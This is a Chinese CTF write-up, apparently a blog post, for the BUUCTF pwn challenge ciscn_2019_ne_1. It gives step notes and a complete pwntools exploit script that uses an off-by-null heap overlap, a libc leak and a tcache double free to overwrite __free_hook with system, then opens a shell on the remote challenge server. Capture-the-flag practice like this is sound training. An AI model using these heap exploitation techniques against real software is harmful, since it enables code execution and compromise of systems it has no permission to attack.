[BUUCTF-pwn] ciscn_2019_ne_1

2.27-i386 的堆很少见

4小时才完成,前边想得有点乱了。

堆块的结构:

        总管理块0x31:10个块指针

        头块0x21:ptr_comment,ptr_name,XXX,XXX两个没用的东西

        name块:大小自定不能太大,这个块由scanf %ns 读入,多加\0 这个很隐蔽,一时没发现浪费不少时间。

        comment块:0x8c 这个块由read读入后边不带\0,将来用于泄露libc

        还有个改名的菜单,转了好久又整逆向,原来是个蜜罐。

找到两点就好办了:

  1. 由于每个块都有管理块,这个很碍事,先建5个name0x21的块,然后释放,以后建块都用这些。让name块连在一起。
  2. 由于name块大小不足以进入unsort所以要多建7个,用off_by_null模板建1fc,2c,1fc*8
  3. 把3及以后的都删掉,填满tcache
  4. 释放0进入unsort,释放1重建写满修改2的头为0x200,再释放2与前边合并
  5. 重建除2外所有先清空tcache再用掉unsort开头的0x200
  6. 再建0x2c得到重叠块
  7. 对1个块加comment然后释放带出unsort的bk得到libc
  8. 这时0和9是重叠块进行double free形成loop
  9. 建__free_hook,/bin/sh,system再释放3得到shell
from pwn import *

local = 0
if local == 1:  #local
    p = process('./pwn')
elif local == 0:           #remote
    p = remote('node4.buuoj.cn', 26201) 

libc_elf = ELF('/home/shi/pwn/libc6-i386_2.27-3u1/libc-2.27.so')
one = [0x3cbea,0x3cbec,0x3cbf0,0x3cbf7,0x6729f,0x672a0,0x13573e,0x13573f]
libc_start_main_ret = 0x1eee5    
    

elf = ELF('./pwn')
context(arch = 'i386', log_level='debug')

serial = b'7O\x14L\x02\x16C!'

def add(size, name):
    p.sendlineafter(b'>>> ', b'1')
    p.sendlineafter(b"Name length: ", str(size).encode())
    p.sendafter(b"Name: ", name)
    p.sendlineafter(b"Price: ", b'100')

def rename(idx, name):
    p.sendlineafter(b'>>> ', b'4')
    p.sendlineafter(b"Give me an index: ", str(idx).encode())
    p.send(name)

    p.sendlineafter(b"Wanna get more power?(y/n)", b'y')
    p.sendlineafter(b"Give me serial: ", serial)
    p.sendafter(b"Hey Pwner\n", b'AAAA')

def addcomment(idx, comment, sc=0x31):
    p.sendlineafter(b'>>> ', b'2')
    p.sendlineafter(b"Index: ", str(idx).encode())
    p.sendafter(b": ", comment)
    p.sendlineafter(b"And its score: ", str(sc).encode())

def free(idx):
    p.sendlineafter(b'>>> ', b'3')
    p.sendlineafter(b": ", str(idx).encode())

for i in range(5):
    add(0x10, b'BBBB\n') #0
for i in range(5):
    free(i)
add(0x1fc, b'A\n') #0
add(0x2c, b'B\n') #1
for i in range(8):
    add(0x1fc, b'A\n') #2-9

for i in range(3,10):
    free(i)
free(0)
free(1)
add(0x2c, b'A'*0x28 + p32(0x230)) #0
free(2)
#clear tcache x200 use 1st x200
for i in range(8):
    add(0x1fc, b'A\n') #1-8

add(0x2c, b'B\n') #9=0

addcomment(8, b'cccc')
free(8)
p.recvuntil(b'Comment cccc')

libc_base = u32(p.recv(4)) - 0x50 - libc_elf.sym['__malloc_hook']
libc_elf.address = libc_base
print('libc:', hex(libc_base))

add(0x1fc, b'A\n') #8
addcomment(8, b'ccc')

free(3) #不够用了,释放

free(0)
free(9)

add(0x2c, p32(libc_elf.sym['__free_hook']) +b'\n') #0
add(0x2c, b'/bin/sh\x00\n') #3
add(0x2c, p32(libc_elf.sym['system'])+ b'\n') #4
free(3)

p.sendline(b'cat /flag')
p.interactive()

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值